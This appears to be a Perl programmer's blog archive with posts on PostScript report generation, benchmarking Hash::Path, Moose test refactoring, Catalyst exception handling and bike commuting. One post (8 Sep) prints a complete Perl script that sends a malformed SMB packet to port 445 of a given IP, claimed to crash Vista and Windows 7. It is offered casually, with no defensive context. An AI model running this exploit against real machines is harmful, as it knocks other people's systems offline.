fREWdiculous!
21 Oct
So I haven’t posted for kindav a long time. I have a lot planned to write about, but first, the reason it’s been so long and the solution to that problem.
You may remember my post regarding printing etc. When I told my boss about the large response I got, I think I miscommunicated and somehow heard that he wanted us to try a few more solutions before we hired someone else. I think he did want us to try more things, but not for three weeks with zero results! So I mentioned to him at some point that Chris J. Madsen, who gave us a business card at YAPC::NA, responded with a demo and everything. My boss said get it going and I got in touch with Chris and we planned a time to meet and plan things out. I think that was five days ago.
Since that meeting Chris has built us an extremely flexible module to generate postscript reports called PostScript::Report. I haven’t read the entirety of the code, but I do think that it’s designed well and documented well. So far I’ve made two reports based on his example and one from scratch, and it’s been a joy. I love his MooseX::AttributeTree and the use that it allows for something like this to set defaults in an elegant manner.
Chris has also been extremely responsive to issues I’ve had with the code. For example today we discussed some design issues and he solved a lot of them quickly and handily.
I take away three things from this experience.
First, it would have been cheaper if we had hired him immediately after we discovered that printing is hard and we have no experience in the problem domain. My original idea was to use TT to generate the PostScript for the reports, and that would have been pretty terrible.
Second, this is a really good Open Source business case. There is no way that we could sell this module to other shops. Our job isn’t to generate reports. Or job is to generate 50ish reports for one customer. By paying Chris to release it on CPAN we increase the business opportunities of the entire community and may get more features from that. I’d also like to think that because Chris put his name on it, as opposed to making it our code, it is of higher quality because the whole community will see it as a reflection of him.
Lastly, I’ve learned that Chris is a really great programmer. If anyone reading this blog has a job opening doing Perl development (and I think he would prefer in the Dallas area) I think he might appreciate the work. He may be working full time when you read this, but he’s still a great contractor and can do excellent work. See his website for details.
So with that behind me hopefully I’ll bring some content to this blog again
1 Oct
Recently we were doing something at work where we needed to get to a location deep in an HoH. We already had a solution that worked alright, but it was copy pasted in a couple places, it wasn’t tested, and it wasn’t documented. So I looked around on CPAN and found Hash::Path. It did exactly what we wanted, but the code was recursive instead of iterative (like our solution.) Because we weren’t going too deep I just installed it and figured I’d look at the actual differences later.
Well, I think last week I felt the urge to see what the difference actually was, empirically speaking. The following is my test case:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #!perl use strict; use warnings; use Time::HiRes 'gettimeofday'; use Hash::Path; use feature ':5.10'; sub generate_giant_thing { my $items = shift; my $top_level_data_structure = {}; my $current = $top_level_data_structure; for (0..( $items - 1 )) { $current->{"f$_"} = {}; $current = $current->{"f$_"}; } $current->{"f$items"} = 1; return ($top_level_data_structure, [ map "f$_", (0..$items) ]); } my ($foo,$path) = generate_giant_thing(500); sub our_path { my $data_set = shift; my @hash_keys = @_; my $levels = scalar @hash_keys; my $return_value = $data_set->{$hash_keys[0]}; for (1..($levels - 1)) { $return_value = $return_value->{$hash_keys[$_]}; } return $return_value; } { my $before = gettimeofday; say our_path($foo, @{$path}); my $after = gettimeofday; warn 'Our Time: '.sprintf('%0.3f', $after - $before).' seconds'; } { my $before = gettimeofday; say Hash::Path->get($foo, @{$path}); my $after = gettimeofday; warn 'HP Time: '.sprintf('%0.3f', $after - $before).' seconds'; } |
Ours stayed pretty close to 0.001 seconds, whereas the other version went a little slower (I think up to like, .010 s) but ran out of stack before I could test much deeper. So I put the testcase on RT in the hopes that the developer checked his email. He does and he updated the module just a couple days later! Pretty cool, huh?
17 Sep
I’ve been pretty busy/distracted lately. Normally I try to post 3 times a week about the cool things that I’m doing, but I haven’t this week because what I am doing isn’t that cool!
Basically I started working on the printing subsection of our app at work and it’s not looking like a lot of fun. First let me explain what makes it different than anything we’ve done before. In normal web dev you have the server generate html or maybe a pdf, send that to the user and let them print it. You might do some js to invoke the print dialogue, but beside that your work is done. Unfortunately the situation we are in now is that the users do something with the web app and the server prints out some stuff on a predefined printer. This will either happen immediately or via a cron-job, but either way it means we have to interact with printers much more directly than we normally do.
Now printing to a printer is actually not as hard as I thought it would be. We are on a windows system, and the way to do it in windows is basically as follows:
1 2 3 4 | use strict; use warnings; use File::Copy; copy 'file_to_print.ps', '\\\\printserver\\printer'; |
Done! That works just fine. The problem is that postscript is (as far as I can tell) no fun and pretty complicated. Of course going from a pdf to postscript is pretty easy using Ghostscript, so basically what it looks like is we should generate a pdf or a postscript file. I looked at using LaTeX a little bit but a 600 megabyte package really seems like overkill. And even then I don’t know LaTeX beyond math stuff I did in college. The perl offerings are good, but I am just out of my depth here. Here are the modules I looked at:
I tend to be a fan of doing a lot of stuff in house, mostly because I love to learn and I tend to find the fun parts in things. But this is one of the times when my boss mentioned that we could pay someone else to do this that I am totally behind it. Even if I learned all of the stuff I’d need to know to do this myself, it would still take forever.
So here is my plan. I’d like to solicit people from the Perl community for some contract work. We currently have these printouts defined in terms of VB6 Data Designer … things. I would like to give someone a couple of the definitions, along with example printouts (scans), and screenshots. Conversion to PDF or PS are both fine. I was thinking that we’d use TT to fill in various parts of the new template. If the programmer does something like code in the PS or PDF to loop over data defined in the file, that’s ok, as long as it’s well commented as none of us know PDF or PS. Also if the coder does it in pure perl with one of the libraries above (except probably FromHTML) I’m fine with that, as I think they are all pretty quality modules. My ultimate goal is to make a conversion tool for the other 32 reports we’ll need printed out. If the programmer gets that started that would be awesome. I’m not at work right now, so I can’t post the examples, but I will post a couple links to examples tomorrow to the Catalyst ML along with contact information. I think the people who use Catalyst tend to be good coders. (I’m also going to email a few people I’ve met in person directly.) If you are interested, I will probably have posted everything by 2PM Central Time, so check the ML Archives then.
I hope to hear from you!
10 Sep
For the past 6 months or so I’ve been doing a lot more design and a lot less coding (due to design and a few other things) and it’s interesting to me what the results have been.
I remember when I got excited by grokking the concepts behind map and reduce. Don’t get me wrong, I am most happy with map and reduce, but to me they are great ways to be terse and clear. (Also fewer intermediate variables etc.) You use them when you build code but you don’t make large systems with them (yeah we could be talking about something more macro like MapReduce, but bear with me here.)
After getting comfortable with those I took the next logical step (in my mind) which was to start doing more functional programming. That was a huge step. When I first started doing that (dispatch tables) it was so that I could react appropriately to a fairly complex search without resorting to large, overly complex and opaque if blocks. I didn’t know that what I was doing even had a name, so I just called it a hash of anonymous subroutines. I knew that I didn’t come up with it as my boss had used one in the past in C land on a piece of hardware.
Awesome. It was about at this time that a coworker and I (Maestro to those from #moose) wrote the first Priority ordering system. Our first try wasn’t bad! I’ll explain the problem so that you can understand why we did what we did etc. Imagine that you work at FooBar Corporation. At FBC you go through bugs in a bugtracker and keep programmers on the ball. Unfortunately FBC can’t afford just anyone, so they tend to just get people who will start at the top and go down. Well, my company made a tool for FBC which would accurately prioritize the bugs in the tracker. (Note that it’s not really a bug tracker, I’m just trying to speak our language.)
For our first tracker my coworker made a special function which would take a single ticket and correlate all related issues (a ticket has many issues, it is not an issue.) We then iterated over the issues and depending on type of issue and the data inside the issue we would divide the priority if the data means good, or multiply if it means bad. Because we wanted a real scale of 1-10 and not 1-∞, we initialized the number with a log and then only multiplied by numbers between 1 and 0. Those are just details. It worked is the point. The code was kind of messy though, and we ended up doing some special casing in the driver for the dispatch table, which is a drag.
Fast forward 8 months. I’ve gotten much better at OO programming thanks to ExtJS and DBIx::Class and a little better at architecture thanks to Catalyst. I’ve also gotten much nicer syntax and features for Perl 5 OO from Moose, which makes writing and understanding OO Perl 5 code much nicer.
The same coworker and I work together again to write another priority system. This is because our initial try really wasn’t reusable, even though we tried for it to be. So this time we decide (after some implementation effort and discussion) to go with a triune system. Two-thirds of this was obvious to us and the third part was inspired by Catalyst. Here are (from memory) our three parts:
Now at first this system wasn’t clearly better than what we had before except that it was easily reusable. There aren’t a lot of places I could see reusing it, but once it’s written well it isn’t too unreasonable to start putting it in other projects just to add value… But then something happened that made all of our work worthwhile. Our customer wanted a certain “issue” to yeild a priority with a minimum of five, no matter what (they have a good reason, but the analogy can’t handle it, so you have to trust me.) With our original system we’d be forced to do some stuff after the dispatch table had been exhauseted. Now all we did was add a priority_minimum method to the Context, and then we added a trigger to priority which would ensure that the priority never dipped below priority_minimum. That alone made the whole design so much more elegant.
8 Sep
Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #!perl my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program'; use IO::All; my $io = io("$ip:445"); my $foo = "\x00\x00\x00\x90". # Begin SMB header: Session message "\xff\x53\x4d\x42". # Server Component: SMB "\x72\x00\x00\x00". # Negociate Protocol "\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853 "\x00\x23". # Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe". "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54". "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31". "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00". "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57". "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61". "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c". "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c". "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e". "\x30\x30\x32\x00"; $io->print($foo); |
See details Here!
7 Sep
I’ve taken care of a significant portion of the refactoring that I’m doing to disable meta-tests for the Moose test suite. I’ve done all the tests up until the 100 series (which are examples.) The following is an example of how it’s done:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | #!/usr/bin/perl use strict; use warnings; use lib 't/lib'; use Test::More tests => 23; use Test::Exception; use MetaTest; { package Foo; use Moose; use Moose::Util::TypeConstraints; } skip_meta { can_ok('Foo', 'meta'); isa_ok(Foo->meta, 'Moose::Meta::Class'); } 2; meta_can_ok('Foo', 'meta', '... we got the &meta method'); ok(Foo->isa('Moose::Object'), '... Foo is automagically a Moose::Object'); skip_meta { dies_ok { Foo->meta->has_method() } '... has_method requires an arg'; dies_ok { Foo->meta->has_method('') } '... has_method requires an arg'; } 2; can_ok('Foo', 'does'); skip_meta { foreach my $function (qw( extends has before after around blessed confess type subtype as where coerce from via find_type_constraint )) { ok(!Foo->meta->has_method($function), '... the meta does not treat "' . $function . '" as a method'); } } 15; |
Typically there will be some skip_meta blocks scattered throughout a test. As it stands the skip_meta (and skip_all_meta variant) will skip if the SKIP_META_TESTS environment variable is set. As I said before, if people want to change that it’s only defined in one place so we can change how it’s done fairly easily.
There are a few places I’m not sure I need to skip yet, like things in the Moose::*::Meta namespace. But I know for sure to skip the ->meta stuff, so that’s what I’ve been doing. The 100 tests are quite a bit more complex, which is why I haven’t finished any yet. I certainly plan to, and hope to take care of them soon. But in the meantime mst can get started on Antlers as a good amount of the tests should work for him now.
If anyone wants to help out let me know, and we can make Moose faster sooner!
3 Sep
I’ve waited nearly a work week to make sure I don’t post this prematurely, but it’s been four days now and I’m pretty sure I can say that from now on, in the regular case I’ll be riding my bike to work. There are certainly safety issues, since I live on the outskirts of Dallas, but I’ve done a lot research to make safe choices. I haven’t done everything he says on that site, but mostly that’s because I don’t want to ride on streets instead of sidewalks on big roads.
Just in case anyone is wondering, here’s the gear I’ve purchased:
First off, about half of that stuff is for safety. I need a helmet. I want lights so cars see me. The mirror is so I can see cars behind me. The tool, patch kit, and portable pump are just in case I need to fix something in the middle of my commute. I’ve already needed to tighten the handlebars about halfway, and it was pretty great to be able to fix that quickly and easily. I hope not to need to use the patch kit, but surely one day I will. I actually don’t have the bag listed above yet, I currently have a much smaller, much less useful bag, but I already ordered the one above based on reviews at REI. The nice thing about the bag is that all of those essentials I really need are part of the bike, so I don’t have to bring a larger back (bookbag) for those things.
Here is my current list of things to buy:
Of those things I am definitely going to buy the seat, as my current one is really, really uncomfortable. That one has a good price with great reviews. The sandals I’m not totally sure about, but I do need to get some real shoes for riding. The computer would be pretty cool to have, but that’s not necessary at all so I’ll probably wait till Christmas for that.
My plan is to bring work clothes and food on Monday in a backpack and then not have to bring the backpack again till Friday to bring it all back. So far that has worked fairly well. My initial route is pretty much unchanged for going to work, but one of the owners of my company told me about a bike path from Campbell to Renner, which is great for the ride back from work as it means I have way fewer crosswalks to use.
Interestingly, because of those crosswalks my commute home takes 15 minutes longer than the commute to work. I can get to work in about 30 minutes assuming there isn’t crazy traffic or anything, but the route home takes 45 minutes because of crosswalks or alternate routes.
If you ride a bike work, what tips do you have for us noobs?
2 Sep
Today at work I had to do some validation that we haven’t yet had to do for my project at work. I’ve always thought that for validations exceptions are the way to go. I’ll explain everything I did so you guys can benefit/critique.
First off, I used Exception::Class to create my exception classes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | package ACD::Exceptions; use strict; use warnings; use Exception::Class ( 'ACD::Exception::InvalidBinBox' => { description => 'Invalid Bin-Box', fields => [qw{bin box}], }, 'ACD::Exception::UserException' => { fields => 'message', }, ); use Moose::Util::TypeConstraints; class_type 'ACD::Exception::InvalidBinBox'; class_type 'ACD::Exception::UserException'; no Moose::Util::TypeConstraints; 1; |
Also note the use of Moose::Util::TypeConstraints; we’ll come back to why I did that in a bit.
The following code is a method from a DBIx::Class Result class. Nothing too surprising here. It basically creates an exception if someone tries to use a nonexistent bin or a box that the bin doesn’t contain.
1 2 3 4 5 6 7 8 9 10 11 | method validate_bin_box { my $bin = $self->bin; my $box = $self->box; my $success = $self->result_source->schema->resultset('BinBox')->single({ bin => $bin, max_box => { '>=' => $box }, }); ACD::Exception::InvalidBinBox->throw( bin => $bin, box => $box ) unless $success; } |
Next up is the Catalyst action which calls this method. This is the first part of the code I’m excited about. I’m using TryCatch for the syntax sugar here. Note that I get to do a catch based on type of exception. This is why I had to use Moose to define the class_type’s above. You’ll also note that I recast the Exception as a “UserException.” I’ll note why next.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | method update_inventory_part($c) : Local :ActionClass('Role::ACL::Simple') :RequiresRole('inventory_write') { my $id = $c->request->params->{id}; my ($bin,$box) = split /-/, delete $c->request->params->{location}; my $part = $c->model('DB::InventoryPart')->find($id); try { $part->update({ %{$c->request->params}, bin => $bin, box => $box }); } catch (ACD::Exception::InvalidBinBox $e) { ACD::Exception::UserException->throw(message => 'Invalid Bin-Box: '.$e->bin.q{ }.$e->box); } $c->stash->{json} = { success => 1 }; } |
And then this is the final (server side) method that wraps it all together. This belongs in the Root controller of our Catalyst app as it takes care of all of our errors. Basically what’s going on here is that if there are errors we want to set a 500. We show the error raw if the server is in debug mode or if it is a user error. There is a small subtlety that there can possibly be more than one error. For simplicity’s sake we show all the errors if we are going to show one of them.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | method end($c) : ActionClass('RenderView') { my $errors = scalar @{$c->error}; if ($errors) { $c->response->status(500); my $user_error = 0; $user_error = 1 if (first { ref $_ eq 'ACD::Exception::UserException'} @{$c->error}); $c->stash->{json} = { status => 'fail', reason => ( $c->debug || $user_error) ? join ';', map { (ref $_ eq 'ACD::Exception::UserException')?$_->message:"$_" } @{$c->error} : 'A server error occured. Contact developers with date and time this occured', user_error => $user_error, }; foreach (@{$c->error}) { $c->log->error("$_"); } $c->clear_errors; } } |
I won’t show the javascript right now as it’s messy and most readers of this blog aren’t hardcore Ext users. But basically what happens is that we have a global listener for all connections that fail (aka, don’t return with 200 OK) and I have some special code for various cases. For example, I have an unauthenticated case which allows the user to login (and then it seamlessly retries the query,) I have an unauthorized case if somehow the user tries to do something they are not allowed to do, I have a user error case, which will basically display the error verbatim, and then I have a server error message, which will output the raw exception (or the vanilla message above.)
The beauty of all this is that now that I’ve written the code sufficiently generically I should only need to do an ACD::Exception::UserException->throw(message=>…) to show the user an error window at any point in the program. Pretty sweet huh?
1 Sep
Today the question was asked: “To Moose or Not to Moose?” The article is fairly well written, but it seems to me that the comments are not exactly educated. Here is the main one this is in response to:
I’d try Mouse too. Unless you’re doing something funky I’d be surprised if it’s more than a 1 letter change to your source code.
First off, here is a quote from the POD:
Moose is wonderful. Use Moose instead of Mouse.
The author recommends not to use Mouse. That’s a big deal to me. Also, enjoy the following quote:
The original author of this module has mostly stepped down from maintaining Mouse. See http://www.nntp.perl.org/group/perl.moose/2009/04/msg653.html. If you would like to help maintain this module, please get in touch with us.
He’s also given up on it. Moral of the story, don’t use it.
Today I started working on mst’s plan for MX::Antlers, which is a way to use the actual Moose, with the speed of Mouse, without persistence or anything like that. Great for CGI and whatnot.
Now I’m a little fuzzy on the implementation, but if I understand correctly this will “compile” Moose into a single file. It will not include Class::MOP, so you won’t be able to use ->meta, but generally for basic modules don’t need it, so no big deal really. What I am working on is updating the existing Moose test-suite to disable the tests for ->meta. My current plan is to use an environment variable, but whatever I do it will be a function so that we can change it to some other methodology if we need to.
So! Get excited! Depending on the code we may be able to abstract it to apply to other heavy frameworks (Catalyst?) to make them sufficiently fast as well. Once I have some basic stuff in the public repo (hopefully a couple before Friday) I’ll put up a post or two explaining how to get the work done, and then we can parallelize the work. Who’s with me?
31 Aug
So after some experimenting at work I found out what the culprit of my previous post was. I still have no idea why some parts of the code changed, and others didn’t. I imagine that part of that had to do with bad technique (see Scientific Method.) Anyway, it has something to do with the extremely sketchtowne Catalyst::Restarter::Win32. I’m not criticizing Rolsky’s code here, it’s just the nature of using Perl 5 in Windows. Fork is just one of those things that don’t quite work right, so we must resort to hacks.
I recently contributed a little bit of code to the module to fix a small bug I noticed; it looks like I’ll be contributing more.
Also, if you don’t believe me, here’s the way to prove it to yourself that at least something is wrong: open up the process manager or whatever it’s called in windows, and watch the processes, sorted by name. Use the restarter and change a file so that it will restart the dev server. Note that a new process (perl.exe) starts, but the old one never goes away. Do this a few times till it becomes obvious. Then kill the server. Note that the other processes never go away. This seems to be something to do with the “totally hack-tastic” _fork_and_start. It never kills the current process? Or something? I need to do more research and playing around. Hopefully I can get it to stop confusing me.
In other news, if you are on Windows, you probably should not use the Restarter till it gets fixed.